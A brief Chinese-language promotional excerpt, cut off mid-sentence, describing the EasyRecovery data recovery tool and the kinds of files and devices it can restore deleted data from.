EasyRecovery中文版是一款操作安全、恢复性比较高的数据恢复工具&#xff0c;小伙伴们可以使用EasyRecovery恢复各种各样被删除的文件、视频、图片等。EasyRecovery还可以支持恢复从硬盘、光盘、U盘、数码相机、手机等各种设备中恢复被删除或丢失的文件&#xff0c;只是使用Eas…